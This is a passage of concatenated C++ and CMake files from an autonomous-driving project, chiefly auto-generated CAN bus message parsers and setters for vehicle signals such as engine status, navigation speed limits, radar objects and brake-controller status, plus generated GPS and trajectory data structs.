'DCM_EMS_Checksum_0x151', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int dcm_ems_checksum_0x151(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'EMS_EngOffTime', 'enum': {65535: 'EMS_ENGOFFTIME_INVALID'}, 'precision': 1.0, 'len': 16, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|65534]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': 's'} int ems_engofftime(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_GW_EMS_STS_0X151_151_H_ <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_chassisgps_h #define impl_type_chassisgps_h #include "impl_type_double.h" #include "impl_type_bool.h" #include "impl_type_int32.h" #include "impl_type_gpsquality.h" struct ChassisGPS { ::Double latitude; ::Double longitude; ::Bool gps_valid; ::Int32 year; ::Int32 month; ::Int32 day; ::Int32 hours; ::Int32 minutes; ::Int32 seconds; ::Double compass_direction; ::Double pdop; ::Bool is_gps_fault; ::Bool is_inferred; ::Double altitude; ::Double heading; ::Double hdop; ::Double vdop; ::GpsQuality quality; ::Int32 num_satellites; ::Double gps_speed; static bool IsPlane() { return true; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(latitude); fun(longitude); fun(gps_valid); fun(year); fun(month); fun(day); fun(hours); fun(minutes); fun(seconds); fun(compass_direction); fun(pdop); fun(is_gps_fault); fun(is_inferred); fun(altitude); fun(heading); fun(hdop); fun(vdop); fun(quality); fun(num_satellites); fun(gps_speed); } template<typename F> void enumerate(F& fun) const { fun(latitude); fun(longitude); fun(gps_valid); fun(year); fun(month); fun(day); fun(hours); fun(minutes); fun(seconds); fun(compass_direction); fun(pdop); fun(is_gps_fault); fun(is_inferred); fun(altitude); fun(heading); fun(hdop); fun(vdop); fun(quality); fun(num_satellites); fun(gps_speed); } bool operator == (const ::ChassisGPS& t) const { return (latitude == t.latitude) && (longitude == t.longitude) && (gps_valid == t.gps_valid) && (year == t.year) && (month == t.month) && (day == t.day) && (hours == t.hours) && (minutes == t.minutes) && (seconds == t.seconds) && (compass_direction == t.compass_direction) && (pdop == t.pdop) && (is_gps_fault == t.is_gps_fault) && (is_inferred == t.is_inferred) && (altitude == t.altitude) && (heading == t.heading) && (hdop == t.hdop) && (vdop == t.vdop) && (quality == t.quality) && (num_satellites == t.num_satellites) && (gps_speed == t.gps_speed); } }; #endif // impl_type_chassisgps_h <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #ifndef MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_GW_MP5_NAV_0X533_533_H_ #define MODULES_CANBUS_VEHICLE_cx75_PROTOCOL_GW_MP5_NAV_0X533_533_H_ #include "modules/drivers/canbus/can_comm/protocol_data.h" #include "modules/canbus/proto/chassis_detail.pb.h" namespace jmc_auto { namespace canbus { namespace cx75 { class Gwmp5nav0x533533 : public ::jmc_auto::drivers::canbus::ProtocolData< ::jmc_auto::canbus::ChassisDetail> { public: static const int32_t ID; Gwmp5nav0x533533(); void Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const override; private: // config detail: {'name': 'Nav_SpeedLimitUnits', 'enum': {0: 'NAV_SPEEDLIMITUNITS_UNKNOWN', 1: 'NAV_SPEEDLIMITUNITS_MPH', 2: 'NAV_SPEEDLIMITUNITS_KMH', 3: 'NAV_SPEEDLIMITUNITS_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_nav_0x533_533::Nav_speedlimitunitsType nav_speedlimitunits(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Nav_CurrRoadType', 'enum': {0: 'NAV_CURRROADTYPE_UNKNOW', 1: 'NAV_CURRROADTYPE_HIGH_SPEED_ROAD', 2: 'NAV_CURRROADTYPE_CITY_EXPRESS_WAY', 3: 'NAV_CURRROADTYPE_DOWNTOWN_ROAD', 4: 'NAV_CURRROADTYPE_COUNTRY_ROAD'}, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|15]', 'bit': 15, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_nav_0x533_533::Nav_currroadtypeType nav_currroadtype(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Nav_SpeedLimit', 'enum': {0: 'NAV_SPEEDLIMIT_NO_DISPLAY', 1: 'NAV_SPEEDLIMIT_SPL_5', 2: 'NAV_SPEEDLIMIT_SPL_10', 3: 'NAV_SPEEDLIMIT_SPL_15', 4: 'NAV_SPEEDLIMIT_SPL_20', 5: 'NAV_SPEEDLIMIT_SPL_25', 26: 'NAV_SPEEDLIMIT_SPL_130'}, 'precision': 1.0, 'len': 6, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|63]', 'bit': 23, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_nav_0x533_533::Nav_speedlimitType nav_speedlimit(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'MP5_APAActive_Cmd', 'enum': {0: 'MP5_APAACTIVE_CMD_NO_REQUEST', 1: 'MP5_APAACTIVE_CMD_REQUEST'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 26, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_nav_0x533_533::Mp5_apaactive_cmdType mp5_apaactive_cmd(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'MP5_APA_ConfirmButton', 'enum': {0: 'MP5_APA_CONFIRMBUTTON_NO_BUTTON_PRESS', 1: 'MP5_APA_CONFIRMBUTTON_COMFIRM_BUTTON_PRESS', 2: 'MP5_APA_CONFIRMBUTTON_TERMINATED_BUTTON_PRESS', 3: 'MP5_APA_CONFIRMBUTTON_RESERVED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 28, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_nav_0x533_533::Mp5_apa_confirmbuttonType mp5_apa_confirmbutton(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'MP5_APA_Function_Select', 'enum': {0: 'MP5_APA_FUNCTION_SELECT_NO_BUTTON_PRESS', 1: 'MP5_APA_FUNCTION_SELECT_PPSC_BUTTON_PRESS', 2: 'MP5_APA_FUNCTION_SELECT_CPSC_BUTTON_PRESS', 3: 'MP5_APA_FUNCTION_SELECT_POC_BUTTON_PRESS'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 30, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_nav_0x533_533::Mp5_apa_function_selectType mp5_apa_function_select(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Nav_Sts', 'enum': {0: 'NAV_STS_INACTIVE', 1: 'NAV_STS_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_nav_0x533_533::Nav_stsType nav_sts(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Nav_CountryCode', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 7, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int nav_countrycode(const std::uint8_t* bytes, const int32_t length) const; // config detail: {'name': 'Nav_SpeedLimitStatus', 'enum': {0: 'NAV_SPEEDLIMITSTATUS_SL_UNKNOWN', 1: 'NAV_SPEEDLIMITSTATUS_SL_EXISTS', 2: 'NAV_SPEEDLIMITSTATUS_SL_NOLIMIT', 3: 'NAV_SPEEDLIMITSTATUS_SL_PLURAL'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 9, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Gw_mp5_nav_0x533_533::Nav_speedlimitstatusType nav_speedlimitstatus(const std::uint8_t* bytes, const int32_t length) const; }; } // namespace cx75 } // namespace canbus } // namespace jmc_auto #endif // MODULES_CANBUS_VEHICL_cx75_PROTOCOL_GW_MP5_NAV_0X533_533_H_ <file_sep>/****************************************************************************** * Copyright 2017 The jmc_auto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/cx75/protocol/mrr_frobj_0x480_480.h" #include "modules/drivers/canbus/common/byte.h" namespace jmc_auto { namespace canbus { namespace cx75 { using ::jmc_auto::drivers::canbus::Byte; const int32_t Mrrfrobj0x480480::ID = 0x480; // public Mrrfrobj0x480480::Mrrfrobj0x480480() { Reset(); } uint32_t Mrrfrobj0x480480::GetPeriod() const { // TODO modify every protocol's period manually static const uint32_t PERIOD = 20 * 1000; return PERIOD; } void Mrrfrobj0x480480::UpdateData(uint8_t* data) { set_p_mrr_l_object_dy(data, mrr_l_object_dy_); set_p_mrr_l_obj_0x_class(data, mrr_l_obj_0x_class_); set_p_mrr_r_object_dx(data, mrr_r_object_dx_); set_p_mrr_r_object_dy(data, mrr_r_object_dy_); set_p_mrr_r_obj_0x_class(data, mrr_r_obj_0x_class_); set_p_mrr_lefttargrtdetection(data, mrr_lefttargrtdetection_); set_p_mrr_righttargrtdetection(data, mrr_righttargrtdetection_); set_p_mrr_l_object_dx(data, mrr_l_object_dx_); } void Mrrfrobj0x480480::Reset() { // TODO you should check this manually mrr_l_object_dy_ = 0.0; mrr_l_obj_0x_class_ = Mrr_frobj_0x480_480::MRR_L_OBJ_0X_CLASS_UNKNOWN; mrr_r_object_dx_ = 0.0; mrr_r_object_dy_ = 0.0; mrr_r_obj_0x_class_ = Mrr_frobj_0x480_480::MRR_R_OBJ_0X_CLASS_UNKNOWN; mrr_lefttargrtdetection_ = Mrr_frobj_0x480_480::MRR_LEFTTARGRTDETECTION_NOT_DECTECTED; mrr_righttargrtdetection_ = Mrr_frobj_0x480_480::MRR_RIGHTTARGRTDETECTION_NOT_DECTECTED; mrr_l_object_dx_ = 0.0; } Mrrfrobj0x480480* Mrrfrobj0x480480::set_mrr_l_object_dy( double mrr_l_object_dy) { mrr_l_object_dy_ = mrr_l_object_dy; return this; } // config detail: {'name': 'MRR_L_Object_dy', 'enum': {511: 'MRR_L_OBJECT_DY_NO_OBJECT'}, 'precision': 0.0625, 'len': 9, 'is_signed_var': False, 'offset': -15.0, 'physical_range': '[-15|15]', 'bit': 11, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrrfrobj0x480480::set_p_mrr_l_object_dy(uint8_t* data, double mrr_l_object_dy) { int x = (mrr_l_object_dy - -15.000000) / 0.062500; uint8_t t = 0; t = x & 0x1F; Byte to_set0(data + 2); to_set0.set_value(t, 3, 5); x >>= 5; t = x & 0xF; Byte to_set1(data + 1); to_set1.set_value(t, 0, 4); } Mrrfrobj0x480480* Mrrfrobj0x480480::set_mrr_l_obj_0x_class( Mrr_frobj_0x480_480::Mrr_l_obj_0x_classType mrr_l_obj_0x_class) { mrr_l_obj_0x_class_ = mrr_l_obj_0x_class; return this; } // config detail: {'name': 'MRR_L_Obj_0x_class', 'enum': {0: 'MRR_L_OBJ_0X_CLASS_UNKNOWN', 1: 'MRR_L_OBJ_0X_CLASS_CAR', 2: 'MRR_L_OBJ_0X_CLASS_TRUCK', 3: 'MRR_L_OBJ_0X_CLASS_TWO_WHEELER'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 18, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrrfrobj0x480480::set_p_mrr_l_obj_0x_class(uint8_t* data, Mrr_frobj_0x480_480::Mrr_l_obj_0x_classType mrr_l_obj_0x_class) { int x = mrr_l_obj_0x_class; Byte to_set(data + 2); to_set.set_value(x, 0, 3); } Mrrfrobj0x480480* Mrrfrobj0x480480::set_mrr_r_object_dx( double mrr_r_object_dx) { mrr_r_object_dx_ = mrr_r_object_dx; return this; } // config detail: {'name': 'MRR_R_Object_dx', 'enum': {4095: 'MRR_R_OBJECT_DX_NO_OBJECT'}, 'precision': 0.0625, 'len': 12, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|255.875]', 'bit': 31, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrrfrobj0x480480::set_p_mrr_r_object_dx(uint8_t* data, double mrr_r_object_dx) { int x = mrr_r_object_dx / 0.062500; uint8_t t = 0; t = x & 0xF; Byte to_set0(data + 4); to_set0.set_value(t, 4, 4); x >>= 4; t = x & 0xFF; Byte to_set1(data + 3); to_set1.set_value(t, 0, 8); } Mrrfrobj0x480480* Mrrfrobj0x480480::set_mrr_r_object_dy( double mrr_r_object_dy) { mrr_r_object_dy_ = mrr_r_object_dy; return this; } // config detail: {'name': 'MRR_R_Object_dy', 'enum': {511: 'MRR_R_OBJECT_DY_NO_OBJECT'}, 'precision': 0.0625, 'len': 9, 'is_signed_var': False, 'offset': -15.0, 'physical_range': '[-15|15]', 'bit': 35, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrrfrobj0x480480::set_p_mrr_r_object_dy(uint8_t* data, double mrr_r_object_dy) { int x = (mrr_r_object_dy - -15.000000) / 0.062500; uint8_t t = 0; t = x & 0x1F; Byte to_set0(data + 5); to_set0.set_value(t, 3, 5); x >>= 5; t = x & 0xF; Byte to_set1(data + 4); to_set1.set_value(t, 0, 4); } Mrrfrobj0x480480* Mrrfrobj0x480480::set_mrr_r_obj_0x_class( Mrr_frobj_0x480_480::Mrr_r_obj_0x_classType mrr_r_obj_0x_class) { mrr_r_obj_0x_class_ = mrr_r_obj_0x_class; return this; } // config detail: {'name': 'MRR_R_Obj_0x_class', 'enum': {0: 'MRR_R_OBJ_0X_CLASS_UNKNOWN', 1: 'MRR_R_OBJ_0X_CLASS_CAR', 2: 'MRR_R_OBJ_0X_CLASS_TRUCK', 3: 'MRR_R_OBJ_0X_CLASS_TWO_WHEELER'}, 'precision': 1.0, 'len': 3, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|7]', 'bit': 42, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrrfrobj0x480480::set_p_mrr_r_obj_0x_class(uint8_t* data, Mrr_frobj_0x480_480::Mrr_r_obj_0x_classType mrr_r_obj_0x_class) { int x = mrr_r_obj_0x_class; Byte to_set(data + 5); to_set.set_value(x, 0, 3); } Mrrfrobj0x480480* Mrrfrobj0x480480::set_mrr_lefttargrtdetection( Mrr_frobj_0x480_480::Mrr_lefttargrtdetectionType mrr_lefttargrtdetection) { mrr_lefttargrtdetection_ = mrr_lefttargrtdetection; return this; } // config detail: {'name': 'MRR_LeftTargrtDetection', 'enum': {0: 'MRR_LEFTTARGRTDETECTION_NOT_DECTECTED', 1: 'MRR_LEFTTARGRTDETECTION_DECTECTED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 54, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrrfrobj0x480480::set_p_mrr_lefttargrtdetection(uint8_t* data, Mrr_frobj_0x480_480::Mrr_lefttargrtdetectionType mrr_lefttargrtdetection) { int x = mrr_lefttargrtdetection; Byte to_set(data + 6); to_set.set_value(x, 6, 1); } Mrrfrobj0x480480* Mrrfrobj0x480480::set_mrr_righttargrtdetection( Mrr_frobj_0x480_480::Mrr_righttargrtdetectionType mrr_righttargrtdetection) { mrr_righttargrtdetection_ = mrr_righttargrtdetection; return this; } // config detail: {'name': 'MRR_RightTargrtDetection', 'enum': {0: 'MRR_RIGHTTARGRTDETECTION_NOT_DECTECTED', 1: 'MRR_RIGHTTARGRTDETECTION_DECTECTED'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrrfrobj0x480480::set_p_mrr_righttargrtdetection(uint8_t* data, Mrr_frobj_0x480_480::Mrr_righttargrtdetectionType mrr_righttargrtdetection) { int x = mrr_righttargrtdetection; Byte to_set(data + 6); to_set.set_value(x, 7, 1); } Mrrfrobj0x480480* Mrrfrobj0x480480::set_mrr_l_object_dx( double mrr_l_object_dx) { mrr_l_object_dx_ = mrr_l_object_dx; return this; } // config detail: {'name': 'MRR_L_Object_dx', 'enum': {4095: 'MRR_L_OBJECT_DX_NO_OBJECT'}, 'precision': 0.0625, 'len': 12, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|255.875]', 'bit': 7, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} void Mrrfrobj0x480480::set_p_mrr_l_object_dx(uint8_t* data, double mrr_l_object_dx) { int x = mrr_l_object_dx / 0.062500; uint8_t t = 0; t = x & 0xF; Byte to_set0(data + 1); to_set0.set_value(t, 4, 4); x >>= 4; t = x & 0xFF; Byte to_set1(data + 0); to_set1.set_value(t, 0, 8); } } // namespace cx75 } // namespace canbus } // namespace jmc_auto <file_sep>/* * Copyright (c) Huawei Technologies Co., Ltd. 2012-2019. All rights reserved. * Generated by VRTF CM-Generator */ #ifndef impl_type_trajectorypoint_h #define impl_type_trajectorypoint_h #include "impl_type_double.h" #include "impl_type_gaussianinfo.h" #include "impl_type_pathpoint.h" struct TrajectoryPoint { ::PathPoint path_point; ::Double v; ::Double a; ::Double relative_time; ::Double da; ::Double steer; ::GaussianInfo gaussian_info; static bool IsPlane() { return false; } using IsEnumerableTag = void; template<typename F> void enumerate(F& fun) { fun(path_point); fun(v); fun(a); fun(relative_time); fun(da); fun(steer); fun(gaussian_info); } template<typename F> void enumerate(F& fun) const { fun(path_point); fun(v); fun(a); fun(relative_time); fun(da); fun(steer); fun(gaussian_info); } bool operator == (const ::TrajectoryPoint& t) const { return (path_point == t.path_point) && (v == t.v) && (a == t.a) && (relative_time == t.relative_time) && (da == t.da) && (steer == t.steer) && (gaussian_info == t.gaussian_info); } }; #endif // impl_type_trajectorypoint_h <file_sep>include_directories(${PROJECT_SOURCE_DIR}) include_directories(${CMAKE_CURRENT_BINARY_DIR}) add_library(qp_solver_gflags qp_solver_gflags.cc qp_solver_gflags.h) target_link_libraries(qp_solver_gflags gflags) add_library(qp_solver qp_solver.cc qp_solver.h) target_link_libraries(qp_solver ) add_library(active_set_qp_solver active_set_qp_solver.cc active_set_qp_solver.h) target_link_libraries(active_set_qp_solver qp_solver jmcauto_log qp_solver_gflags qpOASES)<file_sep>/****************************************************************************** * Copyright 2017 The JmcAuto Authors. All Rights Reserved. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. *****************************************************************************/ #include "modules/canbus/vehicle/teshun/protocol/ibc_status_0x122_122.h" #include "glog/logging.h" #include "modules/drivers/canbus/common/byte.h" #include "modules/drivers/canbus/common/canbus_consts.h" namespace jmc_auto { namespace canbus { namespace teshun { using ::jmc_auto::drivers::canbus::Byte; Ibcstatus0x122122::Ibcstatus0x122122() {} const int32_t Ibcstatus0x122122::ID = 0x122; void Ibcstatus0x122122::Parse(const std::uint8_t* bytes, int32_t length, ChassisDetail* chassis) const { chassis->mutable_teshun()->mutable_ibc_status_0x122_122()->set_checksum_0x122(checksum_0x122(bytes, length)); chassis->mutable_teshun()->mutable_ibc_status_0x122_122()->set_rolling_counter_0x122(rolling_counter_0x122(bytes, length)); chassis->mutable_teshun()->mutable_ibc_status_0x122_122()->set_ibc_parkrelease_req(ibc_parkrelease_req(bytes, length)); chassis->mutable_teshun()->mutable_ibc_status_0x122_122()->set_ibc_faultcode(ibc_faultcode(bytes, length)); chassis->mutable_teshun()->mutable_ibc_status_0x122_122()->set_ibc_brkpedalrawposition(ibc_brkpedalrawposition(bytes, length)); chassis->mutable_teshun()->mutable_ibc_status_0x122_122()->set_ibc_mastercylinderpressvalid(ibc_mastercylinderpressvalid(bytes, length)); chassis->mutable_teshun()->mutable_ibc_status_0x122_122()->set_ibc_mastercylinderpress(ibc_mastercylinderpress(bytes, length)); chassis->mutable_teshun()->mutable_ibc_status_0x122_122()->set_ibc_brakeactive(ibc_brakeactive(bytes, length)); chassis->mutable_teshun()->mutable_ibc_status_0x122_122()->set_ibc_brakereqavailabe(ibc_brakereqavailabe(bytes, length)); chassis->mutable_teshun()->mutable_ibc_status_0x122_122()->set_ibc_brakepressurereqack(ibc_brakepressurereqack(bytes, length)); chassis->mutable_teshun()->mutable_ibc_status_0x122_122()->set_ibc_controlstatus(ibc_controlstatus(bytes, length)); chassis->mutable_teshun()->mutable_ibc_status_0x122_122()->set_ibc_driver_intervene(ibc_driver_intervene(bytes, length)); chassis->mutable_teshun()->mutable_ibc_status_0x122_122()->set_ibc_systemstatus(ibc_systemstatus(bytes, length)); chassis->mutable_check_response()->set_is_esp_online( ibc_controlstatus(bytes, length) == 2); } // config detail: {'name': 'checksum_0x122', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|255]', 'bit': 63, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Ibcstatus0x122122::checksum_0x122(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 7); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'rolling_counter_0x122', 'offset': 0.0, 'precision': 1.0, 'len': 4, 'is_signed_var': False, 'physical_range': '[0|15]', 'bit': 51, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Ibcstatus0x122122::rolling_counter_0x122(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(0, 4); int ret = x; return ret; } // config detail: {'name': 'ibc_parkrelease_req', 'enum': {0: 'IBC_PARKRELEASE_REQ_NO_CONTROL', 1: 'IBC_PARKRELEASE_REQ_RELEASE', 2: 'IBC_PARKRELEASE_REQ_PARK', 3: 'IBC_PARKRELEASE_REQ_DYNAMIC_PARKING'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|3]', 'bit': 55, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ibc_status_0x122_122::Ibc_parkrelease_reqType Ibcstatus0x122122::ibc_parkrelease_req(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 6); int32_t x = t0.get_byte(6, 2); Ibc_status_0x122_122::Ibc_parkrelease_reqType ret = static_cast<Ibc_status_0x122_122::Ibc_parkrelease_reqType>(x); return ret; } // config detail: {'name': 'ibc_faultcode', 'offset': 0.0, 'precision': 1.0, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|0]', 'bit': 47, 'type': 'int', 'order': 'motorola', 'physical_unit': ''} int Ibcstatus0x122122::ibc_faultcode(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 5); int32_t x = t0.get_byte(0, 8); int ret = x; return ret; } // config detail: {'name': 'ibc_brkpedalrawposition', 'offset': 0.0, 'precision': 0.3937, 'len': 8, 'is_signed_var': False, 'physical_range': '[0|99.9998]', 'bit': 31, 'type': 'double', 'order': 'motorola', 'physical_unit': '%'} double Ibcstatus0x122122::ibc_brkpedalrawposition(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 3); int32_t x = t0.get_byte(0, 8); double ret = x * 0.393700; return ret; } // config detail: {'name': 'ibc_mastercylinderpressvalid', 'enum': {0: 'IBC_MASTERCYLINDERPRESSVALID_INVAILD', 1: 'IBC_MASTERCYLINDERPRESSVALID_VALID'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 16, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ibc_status_0x122_122::Ibc_mastercylinderpressvalidType Ibcstatus0x122122::ibc_mastercylinderpressvalid(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 2); int32_t x = t0.get_byte(0, 1); Ibc_status_0x122_122::Ibc_mastercylinderpressvalidType ret = static_cast<Ibc_status_0x122_122::Ibc_mastercylinderpressvalidType>(x); return ret; } // config detail: {'name': 'ibc_mastercylinderpress', 'offset': 0.0, 'precision': 1.0, 'len': 15, 'is_signed_var': False, 'physical_range': '[0|32000]', 'bit': 15, 'type': 'int', 'order': 'motorola', 'physical_unit': 'kpa'} int Ibcstatus0x122122::ibc_mastercylinderpress(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 1); int32_t x = t0.get_byte(0, 8); Byte t1(bytes + 2); int32_t t = t1.get_byte(1, 7); x <<= 7; x |= t; int ret = x; return ret; } // config detail: {'name': 'ibc_brakeactive', 'enum': {0: 'IBC_BRAKEACTIVE_BRAKE_INACTIVE', 1: 'IBC_BRAKEACTIVE_BRAKE_ACTIVE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 0, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ibc_status_0x122_122::Ibc_brakeactiveType Ibcstatus0x122122::ibc_brakeactive(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(0, 1); Ibc_status_0x122_122::Ibc_brakeactiveType ret = static_cast<Ibc_status_0x122_122::Ibc_brakeactiveType>(x); return ret; } // config detail: {'name': 'ibc_brakereqavailabe', 'enum': {0: 'IBC_BRAKEREQAVAILABE_BRAKE_NOT_AVAILABLE', 1: 'IBC_BRAKEREQAVAILABE_BRAKE_AVAILABLE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 1, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ibc_status_0x122_122::Ibc_brakereqavailabeType Ibcstatus0x122122::ibc_brakereqavailabe(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(1, 1); Ibc_status_0x122_122::Ibc_brakereqavailabeType ret = static_cast<Ibc_status_0x122_122::Ibc_brakereqavailabeType>(x); return ret; } // config detail: {'name': 'ibc_brakepressurereqack', 'enum': {0: 'IBC_BRAKEPRESSUREREQACK_NOT_ACK', 1: 'IBC_BRAKEPRESSUREREQACK_ACK'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 2, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ibc_status_0x122_122::Ibc_brakepressurereqackType Ibcstatus0x122122::ibc_brakepressurereqack(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(2, 1); Ibc_status_0x122_122::Ibc_brakepressurereqackType ret = static_cast<Ibc_status_0x122_122::Ibc_brakepressurereqackType>(x); return ret; } // config detail: {'name': 'ibc_controlstatus', 'enum': {0: 'IBC_CONTROLSTATUS_TEMPORARILY_INHIBIT', 1: 'IBC_CONTROLSTATUS_AVAILABLE_FOR_CONTROL', 2: 'IBC_CONTROLSTATUS_ACTIVE', 3: 'IBC_CONTROLSTATUS_PERMANENTLY_FAILED'}, 'precision': 1.0, 'len': 2, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|2]', 'bit': 4, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ibc_status_0x122_122::Ibc_controlstatusType Ibcstatus0x122122::ibc_controlstatus(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(3, 2); Ibc_status_0x122_122::Ibc_controlstatusType ret = static_cast<Ibc_status_0x122_122::Ibc_controlstatusType>(x); return ret; } // config detail: {'name': 'ibc_driver_intervene', 'enum': {0: 'IBC_DRIVER_INTERVENE_NOT_INTERVENE', 1: 'IBC_DRIVER_INTERVENE_INTERVENE'}, 'precision': 1.0, 'len': 1, 'is_signed_var': False, 'offset': 0.0, 'physical_range': '[0|1]', 'bit': 5, 'type': 'enum', 'order': 'motorola', 'physical_unit': ''} Ibc_status_0x122_122::Ibc_driver_interveneType Ibcstatus0x122122::ibc_driver_intervene(const std::uint8_t* bytes, int32_t length) const { Byte t0(bytes + 0); int32_t x = t0.get_byte(5, 1); Ibc_status_0x122_122::Ibc_driver_interveneType ret = 